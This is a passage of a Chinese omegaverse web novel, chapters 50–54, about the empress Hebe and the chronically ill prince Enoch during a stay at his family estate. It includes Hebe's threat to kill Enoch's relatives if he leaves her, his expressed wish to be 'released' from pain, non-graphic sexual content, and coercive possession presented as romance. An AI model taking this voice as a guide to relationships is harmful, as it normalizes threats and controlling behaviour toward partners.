动情的以诺总是很诱人,但无论身体如何迎合,眼底总是挟带着一抹矜持的疏冷,时时刻刻在提醒她,他只是在牺牲,他头脑从沉沦的身体中剥离,正在清醒地忍受痛苦,她带给她的痛苦。 而现在,什么都没有了,他的双眼里只有无边欲。色,一呼一吸伴着绵绵密密的信息素一起钻进赫柏的鼻腔,逐渐激起她的alpha本能。 “以诺……” 赫柏的黑发铺散在地毯上,因为动作幅度太大而感到头晕,这么激烈的举动,以诺一定会疼的,可是他浑然不觉,她抬起颤抖的手想要碰一碰以诺的脸,因为看不清他的神情了。 以诺偏头咬住她的手背,脸上的泪水就顺着她的手腕往下滑,蜿蜒了她的整只小臂。 面对这样的以诺,赫柏竟然感到害怕。 想起维托克说过的,他在献祭,这种极度燃烧自己,把一切奉献给她的状态,是因为他已经不想活了。 “以诺亲王这样的人,最符合大众想象的结局应该是美人薄命,凌落成泥随风飘去,才不负这轰轰烈烈地一生,如果他作为普通人幸福美满终老,反倒故事落了俗套,烂了结局。” 是某位著名评论家,在电视新闻上发表的时评,赫柏看过一段,嗤之以鼻,但是现在,她真的很害怕,以诺会不会不管她了,因为太痛苦,就这么离开,这个世界上不负责任的人真的很多,她不能要求以诺忽视痛苦,只做渡她的圣人。 不!她就要勉强,她就要把以诺留在这人世间痛苦的泥潭,让圣洁的他沾满污垢,和她共享所有的痛苦和欢愉,无论如何永远留在她的身边。 赫柏顿时坐起来时,抱紧以诺哭嚷:“你不能走,我很需要你,就算全世界的人都抛弃你,也还有我在爱你,我真的有在慢慢学会爱你!就算你不相信我,你恨我,你也不能走,你走了我会让你的整个家族一起陪葬!你的侄女侄子,妹妹妹夫,如果你离开我,我会让他们都去死!” 以诺咬住她的肩头,他第一次做出类似伤害她的举动,赫柏痛死了,但她也感觉到了他心里有多痛,所以一直忍耐,拍着以诺的背告诉他没事的,都会过去,她会给他很好很好的爱,和很好的明天。 “可是我很痛啊……” 以诺的哭腔响起在她耳边,“我真的很痛很痛,为了正常走路,我的双腿每天都要经历一次粉身碎骨的痛苦,还有信息素,让我变成了我唾弃的人,欲。望像无底洞那样吞噬我的理智,让我每天每天都想跪在你的脚边,求你给我解脱……我很想抛弃这副身体,只有那样,才能获得自由,赫柏,我真的很痛……” “我想回到小时候,一切都还没发生,回到爸爸妈妈的身边,什么都不想就,可以无忧无虑地在庄园里跑步,玩耍,我很讨厌现在的我自己,赫柏,求你了,求你给我解脱吧!” 赫柏心如刀绞,但她不可能答应这种要求,她就是一个这么无耻的人,就算他再痛苦她也要扒着他,把他留在人间。 “为什么要解脱呢?那我呢?为了我你不能忍受这些痛苦吗?为了我你不能再假装正常好好活着吗?你可以假装一辈子直到我们死去那天,那也算是善终,你为什么要告诉我让我遭受良心谴责呢?你想用这个要挟我,让我做出我不愿意的抉择,以诺,你根本就是这么想的对不对?” 以诺不停地哭,埋头在她的肩旁。 他哭得好委 屈,从来没有过地委屈,想要心肠冷硬的alpha回心转意,又怕让她伤心,咬唇小声地啜泣。 很久以后,皮肤上的热意渐渐蒸发,他们的拥抱变得轻柔,他开始跟她道歉:“赫柏,对不起,对不起……” “对不起……”赫柏喃喃自语,“你的信息素上瘾,我已经请维托克去找解决的办法了,我不舍得让你永远是这样,但是,你的双腿,也许要一直痛,一直痛,即便那样,你也还是不能离开我,因为——” 她幽暗的眼睛微睁,侧脸蹭蹭以诺的脖颈,“因为那是你的命运,你必须充满痛苦地留在我身边,认命吧,以诺。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章预祝新生 安妮塔邀请小皇帝前去视察了小镇附近新发现的矿产,兴奋地说着自己的扩张大计,皇帝给出一些宝贵的建议,欣然表示自己会大力给予支持。 在庄园里举办了一场田园野餐,下了马车,安妮塔没看见以诺的身影,有点不快地叫佣人去找他,皇帝今天劳累了一个上午,回来连人都见不到像什么话。 以诺在房间里陪蒂娜弹钢琴,听了佣人的话淡淡应了一声,说马上过去。 “舅舅,你是不是不开心?”蒂娜疑惑,这两天舅舅一直陪她玩,虽然这很好吧,她有点怕那位“陛下”,没有她在,她就轻松很多。但是舅舅,他总是不笑。 给她讲童话故事,讲军营里的故事,她想要听什么他就讲什么,但他看起来总是很忧愁,不开心。 “没有啊,蒂娜好乖,能陪着蒂娜一起玩,舅舅很开心。” 骗人。 大人都糊弄小孩子,没想到舅舅也一样!蒂娜观察着他,来到皇帝陛下面前淡然问安,女人把脸撇开,和别人说话,然后他们坐的很远,没有任何交流,他们一定是吵架了! 赫柏曲腿坐在野餐垫上,喝了几杯酒,有点醉了,脑子晕晕的,她不常喝酒,讨厌这种可能会引起失控的行为。 攀谈的人逐渐少了,一个敦实的宝宝一屁股坐在她身边,头发黏着汗,带着小孩子特有的酸臭味靠近她:“皇帝陛下,您不要跟我舅舅吵架好不好,他很难过的。” 小姑娘皱眉很久才下定决心,摘下宝贝的手钏:“我,我把这个还给你,你可以去哄哄我舅舅吗?” 赫柏把手钏接过来掂量几下,蒂娜不敢相信,她竟然真的把送小孩子的东西要回去! 小姑娘的神态偶尔像以诺,眉头扬起,眼睛睁圆,诧异中带着点儿无辜和委屈,赫柏莫名觉得她有点可爱。 她第一次觉得小孩子可爱。 捏了把小肉脸,把手钏挂在她头顶上,放下酒瓶起身。 那天晚上,她和以诺的状况都很不对劲,朝对方大吼大叫,撕破脸皮,等冷静下来两人都略微尴尬,默契地变成客气疏离,转眼过去两天。 很熟悉,很熟悉的两个人,突然撕破和谐相处的表皮,看见对方血淋淋的肌理和内脏,这种感觉非常怪异,却又,上瘾。 以诺避开人群,站在大片玫瑰花前,想去哄哄赫柏,他觉得那天晚上的失控,是自己的错,赫柏说的没错,他既然已经决定牺牲,就不应该再说自己有多痛苦,徒增她的不快。 他用花剪小心剪下一朵玫瑰,手指不经意被刺扎到,又想起赫柏,明艳得惊人,把刺摆出来,坏的也坦坦荡荡,爱她的人,会接受她的全部。 对不起,赫柏,那天晚上,我有点陷进难过的回忆里了,失去理智,才会对你说那样伤人的话,你可以原谅我吗?以后不会再说了。 我很想你,你知道我总是离不开你的,如果你可怜我,就来抱抱我吧,像玫瑰花刺扎进手指的皮肉一样,深深刺痛我,填满我,如果还在生气,至少不要对我冷脸漠视,请你尽情地惩罚我。 再多的病痛也无法击溃我爱你这个事实,不要皱眉,我真的很爱你,不愿意你因为我而又一点点的伤心难过。 以诺默念他想要说给赫柏的话,在花艺台前处理玫瑰的尖刺。 手臂忽然被攥住,他回身,一个带着酒气的吻印上唇边,赫柏勾住他的脖子用力地亲吻他。 以诺深嗅着她发肤的气息,在一些想法涌进脑海之前眼泪已经先溢出眼眶,真的好喜欢,不管是不是因为信息素,她的气息让他疯狂想念,只想紧紧抱着她,被她抱着,相互纠缠直到宇宙湮灭。 赫柏感觉有什么东西压在自己耳畔,侧眼看去是以诺握在手里的玫瑰花,新鲜的,带着山野间的露水,她咬下一片花瓣送进以诺口中。 香味泛开,带着苦涩的余调,以诺的脸染上花瓣瑰丽的颜色,咬着下唇湿漉漉的眼睛看她。 两天没做,他应该是很想要了,赫柏挠挠他的手心,“我们去房间。” “这两天睡得好吗?” “和安妮塔去了哪里?遇见了什么人?” “你喜欢庄园吗?我们要在这里待多久?” 以诺疲乏地倚靠在床头,腰间围着毯子,睡衣松开两颗扣子,心脏上方的皮肤有一连串让人脸红心跳的红印。 他的目光追随赫柏,她总是对他的房间很好奇呢,一有机会就开始探索寻宝。 因为还怀着些许愧疚,怕赫柏心里不舒服,所以扯扯身后的靠枕,给隐隐酸痛的双腿换了个姿势,絮絮叨叨地询问女孩一些问题,用琐碎的关心来表达爱。 “很好呀,我很喜欢庄园,如果你想要的话,多住几天也可以。”赫柏头也没回,在翻阅他小学时的同学纪念册。 “蒂娜的精力太旺盛了,陪她玩了两天,感觉已经够了呢。”以诺担心赫柏还有工作,不好陪他在庄园耽搁太久,又怕她长久地待在这里,让安妮塔更加膨胀,柔声提议,“我们回去吧。” 赫柏没答应,捧着纪念册过来,神神秘秘地脱掉鞋子,歪在他身边指着翻开到大合照的一页,“这个是你吧,虽然那个时候胖胖的,但我一眼就认出来了,我是不是很厉害。” 她指着人群中心的一个小胖墩,皮肤是最白净的,金色头发很显眼,以诺摇头,指向角落一个不起眼的身影:“是这个。” 赫柏仔细看了看,清秀俊雅的样子和现在没什么两样,完全就是缩小版以诺,她竟然没认出来,不好意思地吐了吐舌,“我以为你会站在中心位呀,从小到大的毕业合照,我都是在最中间的,如果没有,老师和校长会一直问,赫柏公主在哪儿呢,把赫柏公主请到前面来。” 她模仿校长瓮声瓮气的语气,正说的起劲,冷不防唇上被轻啄了一口。 以诺撑着床面亲她,不出意外地看到她宕机的样子,笑笑又继续亲上去,鼻尖、唇瓣和下巴都有照顾到,握住她按在纪念册上的手,五指收拢。 赫柏安静下来,乖巧地抿着双唇,任他动作,唯有睡衣的蕾丝绳结下,装载着心脏的胸腔骨骼缓缓祈福,显示她是个活人而不是一樽琉璃雕塑。 以诺捧着她的脸庞,细腻地亲吻她,给予这个女孩他所认为的最温柔的爱。 直到晚餐,赫柏一直沉浸在自己的世界里,帮以诺做了半个小时的康复训练,然后从身后像一只大型背包那样黏着他,双手交叉在他的腹前,脸颊贴在他颈边,完全放弃了思考他去哪里就跟到哪里。 他迈腿,她就抬腿,他站稳她也不动,他看书,她就发呆,他打开窗看风景她还是发呆,以诺苦笑不得,脖子也被她的头发刺得发痒,只好反手拍拍她的脑袋,“好了,好了,你让我坐一下,站得好累。” 赫柏知道自己有多无耻,所以连请求原谅的话都不说了。 下一步是什么呢?因为以诺的突然失控,所以下一步的做法也要有所调整,但是她好累,一直在考虑要戴什么面具要表现什么形象好累,反正以诺知道真正的她是什么鬼样子,就让她先离魂一会儿 ,什么都不做,遵循本心黏在以诺身边。 只要在他身边,连呼吸都是松快的。 晚餐时间,赫柏才重新上线,盛装打扮后挽着以诺的手臂出席,又是那个光彩照人,八面玲珑的皇帝陛下。 这次参加晚宴的,是斯宾塞家族集团的几个大股东,见了他们纷纷起身相迎,“陛下,以诺亲王。” 以诺想去长桌的末尾落座,赫柏牵他的手走向主位,那是安妮塔为他们留的位置,皇帝当然坐在主位,而以诺,坐在她的右手边。 “今年发生了一件天大的好事,在小镇附近数公里的山地里发现了铬铁矿产区,在询问了陛下的意见后,我决定成立一个子公司,专门负责这块业务。” 安妮塔对众股东举杯敬酒,说出自己的扩张大计。 股东们都耳聪目明,知道这个项目得到陛下的大力支持,发现矿产不是稀奇事,重要的是日后的生产和销售渠道,做成低级工艺产品和输送给军方作为武器原材料,其中的利润可谓天壤之别。 陛下携带以诺亲王露面,明目张胆,毫不掩饰,到了皇帝的位置,谁都不会觉得她是个恋爱脑,唯一的可能是她早就和安妮塔爵士早就达成了某种利益交换,以诺亲王,是这场布局中的一个棋子。 想通了这点,股东们纷纷起身举杯庆贺,几个老资历欣慰地表示,安妮塔比老公爵有魄力得多,用了十年带领家族集团扩张了几倍。 “预祝集团越来越好!” “还有一件事。”安妮塔叫停举杯喝酒的人,施施然起身来到她的哥哥身后,用轻巧的动作和沉重的力道按住以诺双肩。 “我的哥哥,以诺斯宾塞亲王殿下,是帝国的英雄,也是家族的骄傲,我提议他出任集团名誉主席,此后代替我出席庆典仪式和日常活动,这个职位,各位觉得,跟我的哥哥是不是非常契合呢?” “这……” 虽然说以诺亲王这样的人,是很适合作为家族的吉祥物,可他现在和陛下的绯闻……众人迟疑,却见陛下满脸赞许,丝毫不觉得有什么不妥,他们自然不敢再反对,附和说:“以诺亲王,的确是最合适的人选!” 斯宾塞集团涉及矿产、军工和房产,和官方打交道比较多,在民间的企业形象固然重要,跟陛下的态度比起来,也没那么重要。 安妮塔低身看向以诺,展示长久未有的亲昵,“哥哥,你本来就是家族的一份子,为家族出力,是很应该的吧,我一个人支撑的很辛苦呢,作为手足,你一定会帮我的,对不对?” 交织着怜悯和嫉妒的,复杂的目光落在以诺亲王身上,众人既感叹他这枚棋子在三言两语中被安排了位置,看起来并不知情,想必是被陛下和妹妹玩弄于股掌之中,身不由己。 又都夹杂着一丝欣羡,名誉主席,多么诱人的职位,真正的富贵闲人,随着集团水涨船高,这个头衔可以再次支撑他回到优雅的贵族生活中去,而不必参与任何琐碎的管理、业务和日常运营,沾染任何铜臭气。 赫柏握着酒杯,和以诺的轻碰了碰,祝贺他在新的生活里一切顺心。 第52章 第52章陈旧许愿瓶 山林步道上,沃尔夫肩负着劝说以诺出任名誉主席的任务,抱着小西泽,和以诺慢慢散步聊天。 “安妮塔其实很不容易,当年斯宾塞集团的收益不好,您申请参军,流言纷纷,给集团带来很大的挑战,加上老公爵夫妇一夕之间骤然去世,她当年承受的压力真的很大……” 沃尔夫以为兄妹俩不亲近的原因,是分别了的那十年,连通讯软件里对方的头像都不曾亮起,他嫁过来后有一次问起来,安妮塔只是冷笑,说嫁出去的omega,管他做什么。 有什么误会是不能解开的呢,不论怎么说,兄妹俩从小一起长大的情分是真的。 “如果您愿意回到集团帮忙,相信老公爵和夫人泉下有知,也会感到欣慰的。” 西泽在吐泡泡,看着以诺咧嘴笑,以诺朝沃尔夫伸手:“让我来抱吧。” “好呀,您注意身体,累了就让我来。” 以诺虽然身体很不好,站一会儿就要坐着歇息一下,但他真的很喜欢西泽,一有机会就要抱他到处走走。 沃尔夫说:“虽然是贵族,却比普通平民压力要大很多呢,那么多依附着斯宾塞家族的人等着吃饭,管理偌大的集团,就像狂风巨浪里驾驶一艘航船。和当初的老公爵和夫人一样,安妮塔现在努力工作,也是为了撑起整个集团,给孩子们更好的生活,如果您也愿意帮忙的话,她会轻松很多,孩子们,也都会感谢您的。” 虽然这个“帮忙”,很大程度上是指他遂了陛下的心愿,安心做好一个男。宠,让陛下愉快地对他们的家族施加帮助,但是没必要把话说的这么直白,他们都心知肚明的事。 以诺的脸色明显动容,不停轻拍西泽的背,眸光闪动,沃尔夫松了口气,安妮塔想的没错,搬出孩子,以诺才有可能松口。 那么喜欢小孩子,如果他有一个自己的孩子,不知道会亲成什么样……沃尔夫脑子里浮现这个想法,看向以诺,觉得他真的很适合做一个爸爸,只是陛下,会想要赐给他一个孩子么? 庄园的另一侧山脚是一片桃树林,夏天正是桃子成熟的季节,安妮塔邀请赫柏体验摘桃子。 赫柏穿一身田园风工作服,手套帽子墨镜全副武装,农夫帽的系带卡在下巴上,脸庞被太阳晒出明显的血丝。 她的皮肤太细腻了,跟两岁的西泽差不多,安妮塔都有点担心,摘桃子这个行程是否正确,会不会把陛下晒坏。 “那是什么?”赫柏指向一棵树下埋了半截的瓶子。 “是许愿瓶!”蒂娜抢着回答,“因为桃树结很多果子,所以人们认为树神有丰厚的馈赠,可以实现自己的愿望,这是附近的居民在树下埋的许愿瓶!” 赫柏这才留意到,每棵树下都埋了瓶子,或多或少,或新或旧,觉得有趣用采摘器轻轻戳了戳蒂娜的背,“你许了什么愿?” “我……我能不能不说?” “不能。” 蒂娜看了眼自己的母亲严肃的表情,掐着指甲应答:“我希望我喜欢的男生也喜欢我。” 蒂娜怕死了这个陛下再问你喜欢的男生是谁,好在她似乎没有兴趣,摘下一个桃子扔给她,低下。身看着她微笑:“那你知道,你舅舅许了什么愿么?” 蒂娜握着桃子,被陛下蛊惑了,她一直没敢仔细看她的长相,她笑起来好漂亮,就是一个温柔的大姐姐。 她有点害羞,又有点骄傲地说:“我知道的,所有人的愿望我都知道,舅舅的许愿瓶就埋在……那棵树下!” 以诺的许愿瓶埋了很多年,被调皮的孩子们挖出来过,又埋下去,所以瓶子很旧,但周围的土层是新的。 瓶口的木塞刻着以诺斯宾塞的名字,赫柏毫无尊重隐私的自觉,和蒂娜面对面蹲下,拆开木塞,几张纸条掉出来。 是几幅简笔画,简单却栩栩如生,第一幅画,是一个婚礼殿堂,一对身穿婚服的男女并肩站着,接受神明的祝福,底下有民众在瞻仰膜拜;第二幅画是明亮的宫殿里面,男人的腹部隆起,温柔慈爱地抚摸着肚子,面目模糊的女人站在身后,俯身亲吻他的脸;第三幅画,男人和女人牵着手走在花园里,前面几个孩子在玩闹;第四幅画男人和女人并肩躺在床上,面容安详,周围已经长大成人的孩子们哀伤哭泣,其中最大的孩子已经戴上了皇帝的冠冕。 这是以诺在离开庄园,前往皇宫的时候,所设想的最体面,最圆满的一生,恩爱白头的伴侣,调皮又听话的孩子,沐浴在爱和尊重之中,在金灿灿的阳光里接受臣民的祝福离世。 赫柏几乎不会后悔,除了在以诺的事情上。 她应该以更低姿态的方式求爱,而不是任由控制 欲作祟,把他变成被信息素控制着时时刻刻都在流水的人。 当她把更多的目光投向以诺,会发现他时时刻刻的自我厌弃,明明讨厌那样的身体却强颜欢笑地迎接她的侵袭,笑容比苦瓜还要苦涩。 装作不知道,就可以屏蔽良心带来的罪恶感,专心享用他的爱,但她爱以诺,所以,不能再忽视他的痛苦和纠结。 爱是开启痛苦的钥匙,现在,她也握在手上了。 “您有没有跟陛下提起过这件事呢?”以诺抱了西泽一段时间,略微吃力却不愿意放开,佣人要来帮忙时他还微微侧身,按着西泽的脑袋拒绝放手,沃尔夫忍不住问他孩子的问题,“您很想拥有一个自己的孩子吧。” 以诺微沉面色摇头,“我和陛下,是不可能有结果的关系,怎么可能有孩子呢。” 双腿手术之后,维托克曾意味不明地告诉他,他的生殖腔很完整,他依然保留着神明赠与的,omega母体孕育子嗣的能力。 后来他庆幸赫柏十分厌恶小孩子,从来没有对他永久标记,也没有进入过生殖腔,一旦永久标记,怀孕的几率会大大增加,赫柏肯定知道这点所以有意为之。 “陛下她,其实对您很上心的,”以诺的情绪明显低落,沃尔夫斟酌安慰,“您看她这么大费周折地来到庄园,和安妮塔达成合作,最终目的,就是为了让您回到家族集团呀,她也许是诸事繁忙,没有想到这么细的地方去,如果您说您想要一个孩子,她想必会让您如愿的。” 在沃尔夫看来,什么名声啊,承诺啊,都是虚的,只有切切实实的利益才是真的,陛下看起来肆意不拘,但她的所作所为,样样都为了以诺亲王着想,都已经为他做了那么多,就算不能给他名分,赐给他一个孩子又算得了什么。 “您不必有心理负担,私生子在这个年头很是常见,当年老皇帝的私生子安帕就光明正大地进了内阁,只要得到当权者的宠爱,谁也不敢多议论一句。” 私生子么…… 以诺抱紧西泽的柔软的身体一味苦笑,他如果真的要生下一个没有名分的,不伦的孩子,天生就要承受无数流言唾骂,那他更愿意立即死去。 他也不愿意他的孩子,有这样满身污点的爸爸,和一位随时可能厌弃它的妈妈,永远活在恐惧当中。 “哥哥从小就很喜欢小孩子呢,您看他这几天总是陪着蒂娜和西泽,都把这丫头惯坏了,我和沃尔夫常说,如果他有个自己的孩子一定爱护得不行。” 安妮塔来到蒂娜身后,给她擦了脑门上的汗。 赫柏蹲着,环抱双腿下巴搁在膝盖上,身形看着和蒂娜差不了多少,安妮塔有一瞬间把她当成孩子,只是转念一想她的那些手段,立刻出了一身冷汗,干笑两声:“是很多年前的事了,可能您现在去问他,他都已经不记得了。” 赫柏把纸条塞回瓶子里,徒手把原本的土坑挖的更深,瓶子埋下去,盖上泥土,垂着脑袋拍了又拍,白皙的手掌沾满污泥。 皇帝走在前面,百无聊赖地转着那支采摘器,安妮塔心里发怵,是她多嘴冒犯了,皇帝和以诺显然是不对等的关系,怎么可能因为以诺喜欢孩子,就给他一个孩子呢。 “安妮塔爵士。” 皇帝停下脚步,安妮塔顺着她的目光看去,越过山边围栏可以看见山脚下,有百姓手举横幅,抗议斯宾塞集团的罔顾人命,官商勾结,强权压下矿洞爆炸事故,一些警卫挥舞着警棍大声呵斥,还出动了催。泪。弹,抓走几个闹得最凶的人。 安妮塔大惊失色,强作镇定:“是些故意闹事的人,陛下您知道的,现在生意不好做,那些无耻的竞争对手总是蓄意抹黑我们,引导无知的民众……我一定会处理妥当,不会影响到集团的声誉。” “最好是这样。”赫柏把采摘器扔到她怀里。 与此同时,以诺和沃尔夫从环山步道的另一头回到庄园附近,也看到了山脚下闹事的人。 沃尔夫多少知道一些集团的新闻,不久前一个矿洞爆炸,死了几个工人,安妮塔想用钱解决,那些人的亲属却不管不顾非要闹上法庭,说斯宾塞集团没有给工人完善的保障……安妮塔为了这件事烦恼了几个月,还是没有解决,他们或是知道皇帝在这儿,竟然聚集到山脚闹事。 沃尔夫挡在以诺面前,不让他看清那些人手里的横幅,“哥哥,下面是几个没有规矩的刁民,因为小镇去年收成不好,分红减少了,三天两头的在那闹事,我们先回家去吧,不要因为这样的人感到烦忧。” 以诺没有要求看清楚到底发生了什么,站定在路中央。 因为皇帝和安妮塔正好从步道的另一头回来。 皇帝小跑着过来,双手圈进以诺的腰间,无比自然地抱他,耳鬓厮磨,旁若无人,“好想你呀,以诺,我去给你摘桃子了,才分开这么一段时间,就想的不得了,怎么办,我这辈子都离不开你了。” 所有人也都看到了,以诺亲王捧着小皇帝的脸,在她的唇上落下一个情意绵绵的亲吻,一对璧人相互依偎,美好得让人欣羡。 第53章 第53章一个惊喜 斯宾塞集团子公司的揭牌仪式上,以诺亲王出席剪彩,他完全可以代表贵族的体面,从衣领的平整度到坐下时西装裤抻上去隐约露出袜子边缘的高度,优雅精确到每一纤毫角落。 仪式结束,连续站了三个小时的他明显疼痛,尽力维持正常的步调离开圆台,还是有些僵硬。 一只柔白的手伸到他面前,做出一个邀请的手势,以诺亲王抬眼看见站在聚光灯后的人,对她笑笑,把手放进她的手心里。 人们看见,那道圆台外侧隐匿在黑暗里,温柔注视着亲王的目光,竟然来自他们的皇帝陛下。 私下行程,所以简装出行,皇帝今天穿了一条吊带连体裙,轻薄似云的材质,浅浅的高跟鞋拢住柔美的脚腕,轻快地踩在光洁地板上,迎合着她柔声对男人说话的声音,说不出的轻盈灵动。 皇帝有世界上最梦幻的衣橱,世界著名设计师量体裁制的各种礼服长裙,皇室数百年流传下来的珠宝首饰,让她每次出席活动都美丽得无与伦比,流传出的照片引起巨大轰动,甚至改变民间得潮流风向。 被她挽着的以诺亲王,同样美好的不真实,明明快要三十岁了,那张皎皎如月的脸却没有任何岁月的痕迹,还和当年他频频在媒体面前露面时一摸一样,当年……皇室和斯宾塞家族联姻,全程热话,迎接他进入皇宫的马车绕城一圈,所有民众都离开家门,到马路上,瞻仰并肩坐在马车上的一对玉人。 二十岁的塞克公主,和十五岁的以诺亲王。 说起塞克公主呀……早逝的塞克公主,是个很有个性,也很有才华的人哪,虽然一度把头发剪成寸头,穿五颜六色的衣服,烟酒摇滚都来,但她在大学课堂上边喝含酒精饮料边写、写完倒头就睡的一篇政治科论文,至今仍在学术网站的下载排行榜上,她的一些超前思想,被很多后来的学者逐一分析、解读,奉为圭臬。 如果塞克公主没有早死,她会成为一个怎样的皇帝呢? 看着如今完全不避讳旁人的目光,歪歪腻腻的皇帝和以诺亲王,真的很让人好奇,如果塞克公主还在,会是什么局面啊。 陛下和亲王的关系,完全摆在了台面上,媒体常常拍到陛下在宴会的各个角落搂着亲王,交换一个亲昵无比的吻,在 私底下,两人时常牵手出行,陛下最爱黏黏糊糊地抱着亲王的手臂,在他不经意时凑过去亲他的脸。 一张又一张接吻照流出,从最开始的全民吃瓜到后面的司空见惯,就连大街上偶遇两人低调出行,也不会再有民众拿出手机偷拍,本人那么坦荡,透明,任何的恶意揣测都变成自讨没趣,看不惯的人,躲在屏幕后辱骂,等待到的只有账号封禁和不良行为记录。 星网上慢慢出现了很多陛下和亲王的cp粉群组,美女俊男很难不磕呀,他们的人生经历,足够脑补出一场恨海晴天。那么端庄自持的亲王,竟然不顾伦理身份的阻隔,当众下跪给他们的陛下献吻……这种满到溢出来的,不正常的,阴湿的爱,像纠缠成团散发着腥气的藤蔓,实在好嗑。 虽然玩陛下同时还跟邻国的路易斯王子维持着亲密的关系,特别是阿德莱娜皇帝去世那段时间,陛下足足陪伴了路易斯半个月,无论她出席什么工作场合,身边总有眼眶红红的路易斯王子。 唉,我们陛下只是把一颗真心掰成很多瓣,交给很多人而已,她对所有人都是真心的,为了治理国家殚精竭虑,玩几个男人怎么了呢。 因为对皇帝怀有敌意的账号都被封禁了,所以cp粉群体的风气很好,总是互相宽慰,其他男人都是宾馆,只有我们以诺亲王才是永远的家,陛下玩腻了,就会把那些交付出去的真心都收回来的,他们的结局一定是好的。 只要看看陛下为亲王做了多少事情就知道了,把他推举为军方机甲顾问和几所大学的名誉研究员,无论亲王要参加军方、大学还是集团的活动,只要她有时间,一定会出现在观众席,有时带上单反相机,给亲王拍很多很多照片,在他看过去的时候双眼亮晶晶地朝他招手。 等活动结束,站在台下迎接,送上鲜花和亲吻,说辛苦了,你做得好棒,我好爱你,就像现在这样。 只有在亲王身边,她才是最放松,最快乐的。 …… 周围人的议论和注视,赫柏全然不在意,和以诺一起登上飞船,今天她还要给以诺一个惊喜。 来到江边,她脸上的笑意完全不在掩饰,以诺被她牵着走到江面前,就已经猜到了或许她要做什么特别的事,无奈地笑笑,暗自希望不要太出格。 赫柏玩起来很疯,尤其是他们的关系不需要掩饰之后,上次突发奇想找人定制了大型烟花,在升空爆炸的瞬间变成“以诺,我爱你,永远爱你,赫柏”等字样,那时候他们在市区中心高层公寓的落地窗前,他的汗水滑进眼睛里,赫柏一边在身后给他擦眼睛,叫他不能闭眼,一定要看见,一边把那些话在他耳边复述一遍。 他们在很多很多地方做过,一些凭以诺一个人,这辈子都无法想象到的地方,游艇酒会,仅隔着一层甲板很多人在走动,他们蜷缩在舱底狭小的空间里,周围是散发着霉味的木板箱子,只脱去下半身的衣物,在甲板缝隙的一线阳光里紧密拥抱。还有内阁会议室的窗帘后,酒店后厨的冰库里……在任何赫柏确认安全的地方。 无论多忙,赫柏都会陪着他完成半个小时的康复训练,在他每一个崩溃哭泣的瞬间抱紧他,有时候和信息素的渴求叠加在一起,而赫柏又只有半个小时的时间,以诺羞于回忆他们以哪种高难度的动作同时完成性。交和复建。 身体已经不能再契合,只要一个对视,就会自然而然地亲起来。 以诺的开心常常盖过羞耻,除了因为他自己也很想要之外,还因为他看到赫柏的变化,alpha信息素的疏散,让她的状态越来越好,眉心不再积聚郁气,有时候在走神,自顾自地笑起来,问她笑什么呢,她说不知道,觉得幸福吧,所以想笑。 她握紧他的手,几乎小跑起来,扬起的黑色及肩发抓挠他的心脏。 “以诺,我知道你的腿还好,走快点嘛,求求你了。” 她现在比他本人还要了解他的身体,经常和维托克医生汇报他的生活状况,为他热敷、按摩,用很多物理方式缓解他的疼痛,也知道他站多久或者坐多久会感到疼痛,需要换个姿势。 到了江边,赫柏一双眼睛溜溜的转,以诺揉揉她的黑发,把西服外套脱下来,搭在她裸。露的肩膀上,“秋天了,别再穿这么单薄的裙子。” 赫柏抓紧外套,上前抱着他,把外套敞开和他一起抱住,“我才不怕冷呢,你怕冷,你是病美人,你抱着我就不冷了。” 秋天江水萧瑟,满树黄叶,以诺抱紧赫柏的身体看向四周,想知道她准备了什么“惊喜”。 这片是个废弃公园,他们的身后有几处生锈了的游乐设施,没有游人,江水对面则是商业区,悬挂着首都最大的CBD外墙屏幕。 实在不是一个赏景的好地方,难道赫柏想要在大屏幕上对他表白吗?想到这里,以诺的耳根又开始发烫。 下一秒果然如他所想,江对岸的大屏幕亮起来,但出现的不是赫柏的脸,而是,一则新闻。 “目前,帝国警署重新启动了对塞克公主去世原因的调查,走访数位当年的知情人士,塞克公主的侍臣、年迈的礼部大臣费庭、安迪先生仍然在世的父母等,得出切实可信的结果,塞克公主是在婚礼当天,和安迪先生在首都大桥飙车时撞击桥柱身亡。” “以诺亲王和塞克公主没有完成婚礼,但由于是不面对公众开放的小型婚礼,时任皇帝安东尼奥为了掩盖丑闻,声称公主是在婚礼之后意外死亡。” “专家学者提出,以诺亲王,和塞克公主没有完成宣读誓言、交换戒指等婚礼仪式,不能算是事实上完成婚礼,为了皇室的成员纯净性和以诺先生的名声考虑,建议取消以诺先生的亲王头衔。” 以诺看着屏幕出神,赫柏搂住他的脖子,轻柔地在耳根打旋。 “以后,你就不是以诺亲王,塞克公主的遗孀了,只是以诺斯宾塞先生,以及未来赫柏陛下的皇后。” “你开心吗?以诺先生。” 那则新闻循环播放,以诺再次看到当年和塞克公主一起坐马车巡游的老照片,泪水沾湿眼睫,当年他给父母写过信,在得知他不可能去掉亲王的头衔,就算被接回家,很可能嫁给一位年纪很大,或是身患隐疾的女alpha后,他很绝望,以为这个头衔会困住他一辈子。 困住一辈子,所以不能以塞克公主遗孀的身份去爱赫柏,成为她的污点。 “以诺先生,回答我。” 以诺按着赫柏的双臂转过脸,望向江面,眼泪一颗颗砸下去,赫柏不依不饶地追过来,非要问他开不开心。 那些痛苦的、残忍的回忆都随滚滚江面冲刷而去,以诺知道从这一刻起,他获得了世俗意义上的自由,束缚在他脖子上的无形的枷锁,已经被赫柏用钥匙打开。 第54章 第54章像个宝宝 市中心大平层公寓,“陛下安置以诺先生的新鸟笼子”,媒体的原话,赫柏边和下属交待工作边打开房门,和沙发上坐着的胖宝宝大眼看小眼。 “陛下,您回来了!”蒂娜趿上拖鞋跑过来,跑到她身边又退开一点儿,站在和她人差不多高的鞋柜旁边,叉着手指仰面看她。 “就这样吧,有事再联系。”赫柏挂掉电话,严肃地看向室内客厅。 电视开着,沙发抱枕歪了,羊绒地毯用拖鞋钻出一个小窝,还好,没有满地食物碎渣和脏臭的鼻涕纸,桌上只有一杯喝了一半的柠檬可乐。 以诺系着围裙从厨房出来,擦干双手过来给她摘帽子和外套,挂起来,握着她的手凑近亲吻了她的侧脸。 他退开后,把捂眼睛的蒂娜拉到身边,“蒂娜说这个周末想要过来玩,安妮塔正 好带她在附近参加活动,问了我之后直接送过来了……我给你发了信息,赫柏,你不要不高兴,好不好?” 边说边揉蒂娜的肉脸,无论表情动作都有浓重的讨好感,很怕她会生气……赫柏单手划开手机,果然看见以诺的几条未读讯息,最早的一条是半个小时前, “赫柏,蒂娜可以到家里来住一晚么,她很乖的,我会看好她。” 